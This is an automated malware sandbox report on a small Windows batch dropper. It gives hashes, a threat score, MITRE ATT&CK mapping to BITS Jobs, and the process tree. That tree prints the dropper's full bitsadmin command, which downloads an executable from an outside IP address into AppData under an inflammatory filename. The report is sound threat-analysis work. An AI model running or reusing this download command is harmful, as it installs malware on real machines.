5015af8fb5725c4c9ebac28a890128587b888acddab6cc9ff06e94e782713882

Analysis

max time kernel
117s
max time network
120s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
22-11-2024 03:39

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

verhdiehndi.bat
Size

195B
MD5

a2a0830859cdb108a3353dbb2d081334
SHA1

6e7585317f10b0c0c1cdabfc15249a2951852a14
SHA256

d0fa3a800cc6cfad30ba69acc55b059459af138736a35544aff213ba7ae27ab2
SHA512

b877d5e2d09c2772d0c88bb3e8e7381173a4a7cf9c3ff8dfdc7e34345873e1e8ffc9ccb765de7edad3f6964bcbd22b7a5f8fb7c1576846be37240ade072264c4

Score

8^/10

dropper

Malware Config

Signatures

Download via BitsAdmin 1 TTPs 1 IoCs
dropper

BITS Jobs
T1197

Processes:

bitsadmin.exe

pid process

2468 bitsadmin.exe

pid	process
2468	bitsadmin.exe

Suspicious use of WriteProcessMemory 3 IoCs

Processes:

cmd.exe

description	pid	process	target process
PID 2480 wrote to memory of 2468	2480	cmd.exe	bitsadmin.exe
PID 2480 wrote to memory of 2468	2480	cmd.exe	bitsadmin.exe
PID 2480 wrote to memory of 2468	2480	cmd.exe	bitsadmin.exe

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\verhdiehndi.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2480
- C:\Windows\system32\bitsadmin.exe
  bitsadmin /transfer myjob /download /priority high http://185.141.25.185/software.exe "C:\Users\Admin\AppData\Roaming\freegaza_israeli_killers.exe"
  2⤵
  - Download via BitsAdmin
  PID:2468

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

BITS Jobs

T1197

Privilege Escalation

Defense Evasion

BITS Jobs

T1197

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads